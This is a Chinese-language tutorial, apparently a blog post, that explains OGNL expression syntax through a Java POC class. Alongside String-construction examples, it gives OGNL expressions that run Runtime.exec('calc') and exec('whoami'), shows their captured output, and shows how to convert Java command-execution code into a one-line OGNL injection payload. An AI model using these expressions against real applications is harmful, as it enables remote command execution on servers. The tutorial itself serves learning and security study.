通过String的四种写法认识OGNL
注意此处直接调用OGNL原生输入,所以不需要加$对表达式进行识别。
import ognl.Ognl;
import ognl.OgnlContext;
public class POC {
public static void main(String[] args) throws Exception {
// 创建一个OGNL上下文对象
OgnlContext context = new OgnlContext();
// getValue()触发
// @[类全名(包括包路径)]@[方法名|值名]
//Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());
String aaa="bbb";
//String有四种写法你晓得吗?
System.out.println(Ognl.getValue("new String('aaa')", context, context.getRoot()));
System.out.println(Ognl.getValue("new java.lang.String('bbb')", context, context.getRoot()));
System.out.println(Ognl.getValue("'ccc'.toString()", context, context.getRoot()));
System.out.println(Ognl.getValue("#edg=new java.lang.String('edg'),#rng=new java.lang.String('rng')", context, context.getRoot()));
//顺带一提,#符号还可以声明变量或者实例,可以说是十分变态了。
System.out.println(Ognl.getValue("#hello=new java.lang.String('good'),#world=new java.lang.String('bye'),#hello+#world", context, context.getRoot()));
//@可以调用静态方法或者变量
System.out.println(Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot()));
//手工实现,很显然我使用new的都是调用的实例方法,说明该方法不是static的。而Runtime类的方法是static属性的静态方法,所以大伙儿可以不用new嗷。
System.out.println(((new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()))).readLine()).toString());
//ognl表达式实现,@可以调用静态方法、静态成员变量。但实例方法只能new
System.out.println(Ognl.getValue("(new java.io.BufferedReader(new java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).readLine()", context, context.getRoot()));
/* java.lang.String(
new java.io.BufferedReader(
new java.io.InputStreamReader(
@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()
)
).readLine()
)*/
// setValue()触发
// Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());
}
}
结果如下:
aaa
bbb
ccc
rng
goodbye
java.lang.ProcessImpl@300ffa5d
laptop-pg0d8gp9\admin
laptop-pg0d8gp9\admin
特殊符号的用法
@可以调用静态方法或者变量,比如runtime
JAVA代码转OGNL表达式的例子
将命令执行的代码改写
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class test {
public static void test111() throws IOException {
InputStream is = Runtime.getRuntime().exec("whoami").getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader buff = new BufferedReader (isr);
String line;
while((line = buff.readLine()) != null)
System.out.print(line);
}
}
改写成OGNL表达式的形式(PS:OGNL表达式实现循环比较麻烦,所以这里只能显示命令执行回显的第一行)
java.lang.String(
new java.io.BufferedReader(
new java.io.InputStreamReader(
@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()
)
).readLine()
)
表达式合并后的结果
(newjava.io.BufferedReader(newjava.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))).readLine()
所以还是Commons-io提供的现成方法好用,缺点是非JDK原生,需要依赖
领取专属 10元无门槛券
私享最新 技术干货